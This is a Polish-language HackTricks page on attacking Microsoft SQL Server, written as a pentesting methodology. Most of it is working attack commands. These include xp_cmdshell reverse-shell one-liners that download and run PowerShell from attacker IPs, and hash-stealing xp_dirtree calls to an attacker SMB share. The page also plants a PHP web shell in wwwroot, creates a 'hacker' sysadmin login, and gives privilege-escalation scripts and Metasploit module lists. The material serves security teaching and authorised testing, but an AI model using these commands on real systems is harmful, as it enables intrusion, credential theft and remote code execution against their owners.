.. | ||
README.md | ||
types-of-mssql-users.md |
1433 - Testowanie penetracyjne MSSQL - Microsoft SQL Server
Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 Grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Grupa Bezpieczeństwa Try Hard
{% embed url="https://discord.gg/tryhardsecurity" %}
Podstawowe informacje
Z wikipedia:
Microsoft SQL Server to system zarządzania bazą danych relacyjnych opracowany przez firmę Microsoft. Jako serwer baz danych jest to produkt oprogramowania, którego główną funkcją jest przechowywanie i pobieranie danych zgodnie z żądaniami innych aplikacji oprogramowania - które mogą działać zarówno na tym samym komputerze, jak i na innym komputerze w sieci (w tym w Internecie).\
Domyślny port: 1433
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
Domyślne tabele systemowe MS-SQL
- Baza danych master: Ta baza danych jest kluczowa, ponieważ przechwytuje wszystkie szczegóły na poziomie systemu dla instancji serwera SQL.
- Baza danych msdb: Agent SQL Servera wykorzystuje tę bazę danych do zarządzania harmonogramem alertów i zadań.
- Baza danych model: Działa jako wzorzec dla każdej nowej bazy danych na instancji serwera SQL, gdzie wszelkie zmiany takie jak rozmiar, porównywanie, model odzyskiwania i inne są odzwierciedlane w nowo utworzonych bazach danych.
- Baza danych Resource: Baza danych tylko do odczytu, która przechowuje obiekty systemowe dostarczane wraz z serwerem SQL. Te obiekty, chociaż przechowywane fizycznie w bazie danych Resource, są logicznie prezentowane w schemacie sys każdej bazy danych.
- Baza danych tempdb: Służy jako tymczasowe miejsce przechowywania obiektów przejściowych lub tymczasowych zbiorów wyników.
Wyliczanie
Automatyczne wyliczanie
Jeśli nie wiesz nic o usłudze:
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
{% hint style="info" %} Jeśli nie masz poświadczeń, możesz spróbować je odgadnąć. Możesz użyć nmap lub metasploita. Bądź ostrożny, możesz zablokować konta, jeśli nie uda ci się zalogować kilka razy, używając istniejącej nazwy użytkownika. {% endhint %}
Metasploit (potrzebne poświadczenia)
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder
#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump
#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf
#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin
#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
Atak brutalnej siły
Ręczne wyliczanie
Logowanie
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go
Powszechne wyliczanie
# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master
#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
Pobierz użytkownika
{% content-ref url="types-of-mssql-users.md" %} types-of-mssql-users.md {% endcontent-ref %}
# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;
## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers
Uzyskaj Uprawnienia
- Zabezpieczalne: Zdefiniowane jako zasoby zarządzane przez SQL Server do kontroli dostępu. Są one kategoryzowane jako:
- Serwer – Przykłady obejmują bazy danych, logowania, punkty końcowe, grupy dostępności i role serwera.
- Baza danych – Przykłady obejmują role bazy danych, role aplikacji, schematy, certyfikaty, katalogi pełnotekstowe i użytkowników.
- Schemat – Obejmuje tabele, widoki, procedury, funkcje, synonimy, itp.
- Uprawnienie: Powiązane z zabezpieczalnymi SQL Servera, uprawnienia takie jak ALTER, CONTROL i CREATE mogą być udzielane podmiotowi. Zarządzanie uprawnieniami odbywa się na dwóch poziomach:
- Na poziomie Serwera za pomocą logowań
- Na poziomie Bazy danych za pomocą użytkowników
- Podmiot: Ten termin odnosi się do podmiotu, któremu udzielono uprawnień do zabezpieczalnego. Podmioty obejmują głównie logowania i użytkowników bazy danych. Kontrola dostępu do zabezpieczalnych odbywa się poprzez udzielanie lub odmawianie uprawnień lub poprzez uwzględnianie logowań i użytkowników w rolach wyposażonych w prawa dostępu.
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'
Sztuczki
Wykonaj polecenia systemowe
{% hint style="danger" %}
Zauważ, że aby móc wykonywać polecenia, konieczne jest nie tylko włączenie xp_cmdshell
, ale także posiadanie **uprawnienia EXECUTE na procedurze składowanej xp_cmdshell
. Możesz sprawdzić, kto (oprócz administratorów systemu) może używać xp_cmdshell
za pomocą:
Use master
EXEC sp_helprotect 'xp_cmdshell'
{% endhint %}
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'
# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
#One liner
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
Ukradnij hash NetNTLM / Atak Relay
Należy uruchomić serwer SMB, aby przechwycić użyty hash w autoryzacji (impacket-smbserver
lub responder
na przykład).
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'
# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
{% hint style="warning" %} Możesz sprawdzić, kto (oprócz administratorów systemu) ma uprawnienia do uruchamiania tych funkcji MSSQL za pomocą:
Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';
{% endhint %}
Za pomocą narzędzi takich jak responder lub Inveigh można ukraść hasz NetNTLM.
Możesz zobaczyć, jak używać tych narzędzi w:
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}
Nadużywanie zaufanych łączy MSSQL
Przeczytaj ten post aby dowiedzieć się więcej na temat nadużywania tej funkcji:
{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %} abusing-ad-mssql.md {% endcontent-ref %}
Zapisywanie plików
Aby zapisać pliki za pomocą MSSQL
, musimy włączyć Procedury automatyzacji Ole, co wymaga uprawnień administratora, a następnie wykonać kilka procedur składowanych, aby utworzyć plik:
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE
# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
Odczyt pliku za pomocą OPENROWSET
Domyślnie MSSQL
pozwala na odczyt plików z dowolnego miejsca w systemie operacyjnym, do którego konto ma dostęp do odczytu. Możemy użyć następującego zapytania SQL:
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
Jednak opcja BULK
wymaga uprawnień ADMINISTER BULK OPERATIONS
lub ADMINISTER DATABASE BULK OPERATIONS
.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
Wektor oparty na błędach do SQLi:
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
RCE/Odczyt plików wykonujących skrypty (Python i R)
MSSQL może umożliwić wykonanie skryptów w językach Python i/lub R. Ten kod będzie wykonywany przez innego użytkownika niż ten używający xp_cmdshell do wykonywania poleceń.
Przykład próby wykonania 'R' "Hellow World!" nie działa:
Przykład użycia skonfigurowanego Pythona do wykonania kilku działań:
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
Odczytaj rejestr
Microsoft SQL Server udostępnia wiele rozszerzonych procedur składowanych, które pozwalają na interakcję nie tylko z siecią, ale także z systemem plików, a nawet z Rejestrem systemu Windows:
Zwykłe | Świadome instancji |
---|---|
sys.xp_regread | sys.xp_instance_regread |
sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
sys.xp_regwrite | sys.xp_instance_regwrite |
sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring |
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
Dla więcej przykładów sprawdź oryginalne źródło.
RCE z funkcją zdefiniowaną przez użytkownika MSSQL - SQLHttp
Możliwe jest załadowanie pliku .NET w MSSQL za pomocą niestandardowych funkcji. Wymaga to jednak dostępu dbo
, więc potrzebne jest połączenie z bazą danych jako sa
lub z rolą Administratora.
Kliknij w ten link, aby zobaczyć przykład.
Inne sposoby na RCE
Istnieją inne metody uzyskania wykonania poleceń, takie jak dodawanie rozszerzonych procedur składowanych, Zbiorów CLR, Zadań Agenta SQL Servera i zewnętrznych skryptów.
Eskalacja uprawnień MSSQL
Od db_owner do sysadmin
Jeśli zwykłemu użytkownikowi nadano rolę db_owner
nad bazą danych należącą do administratora (takiego jak sa
) i ta baza danych jest skonfigurowana jako trustworthy
, użytkownik ten może nadużyć tych uprawnień do esk. upr. ponieważ procedury składowane utworzone tam mogą wykonywać się jako właściciel (administrator).
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
Możesz użyć modułu metasploit:
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
lub skrypt PS:
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
Podszycie się pod innych użytkowników
SQL Server posiada specjalne uprawnienie o nazwie IMPERSONATE
, które pozwala wykonującemu użytkownikowi przejęcie uprawnień innego użytkownika lub logowania do momentu zresetowania kontekstu lub zakończenia sesji.
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned
# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
{% hint style="info" %} Jeśli możesz podszyć się pod użytkownika, nawet jeśli nie jest on sysadminem, powinieneś sprawdzić, czy użytkownik ma dostęp do innych baz danych lub serwerów powiązanych. {% endhint %}
Należy pamiętać, że jako sysadmin możesz podszyć się pod dowolnego innego użytkownika:
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
Możesz przeprowadzić ten atak za pomocą modułu metasploit:
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
lub za pomocą skryptu PS:
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
Używanie MSSQL do trwałości
https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/
Wyodrębnianie haseł z połączonych serwerów SQL Server
Atakujący może wyodrębnić hasła do połączonych serwerów SQL Server z instancji SQL i uzyskać je w postaci zwykłego tekstu, co umożliwia atakującemu uzyskanie haseł, które można wykorzystać do zdobycia większej przyczółka na celu. Skrypt do wyodrębniania i deszyfrowania haseł przechowywanych dla połączonych serwerów można znaleźć tutaj
Aby ten exploit działał, konieczne jest spełnienie pewnych wymagań i konfiguracji. Po pierwsze, musisz mieć prawa Administratora na maszynie lub możliwość zarządzania konfiguracjami serwera SQL.
Po zweryfikowaniu uprawnień, musisz skonfigurować trzy rzeczy, a mianowicie:
- Włącz protokół TCP/IP na instancjach serwera SQL;
- Dodaj parametr uruchomieniowy, w tym przypadku zostanie dodany flaga śledzenia, która to jest -T7806.
- Włącz zdalne połączenie administrowania.
Aby zautomatyzować te konfiguracje, ten repozytorium zawiera niezbędne skrypty. Oprócz posiadania skryptu PowerShell dla każdego kroku konfiguracji, repozytorium zawiera również pełny skrypt, który łączy skrypty konfiguracyjne z wyodrębnianiem i deszyfrowaniem haseł.
Aby uzyskać więcej informacji, odwołaj się do następujących linków dotyczących tego ataku: Deszyfrowanie haseł serwera łącza bazy danych MSSQL
Rozwiązywanie problemów z dedykowanym połączeniem administratora serwera SQL
Eskalacja uprawnień lokalnych
Użytkownik uruchamiający serwer MSSQL będzie miał włączony token uprawnień SeImpersonatePrivilege.
Prawdopodobnie będziesz w stanie eskalować do Administratora korzystając z jednej z tych 2 stron:
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %} juicypotato.md {% endcontent-ref %}
Shodan
port:1433 !HTTP
Odwołania
- https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users
- https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/
- https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/
- https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/
- https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/
- https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/ Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
HackTricks Automatyczne Polecenia
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'
Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.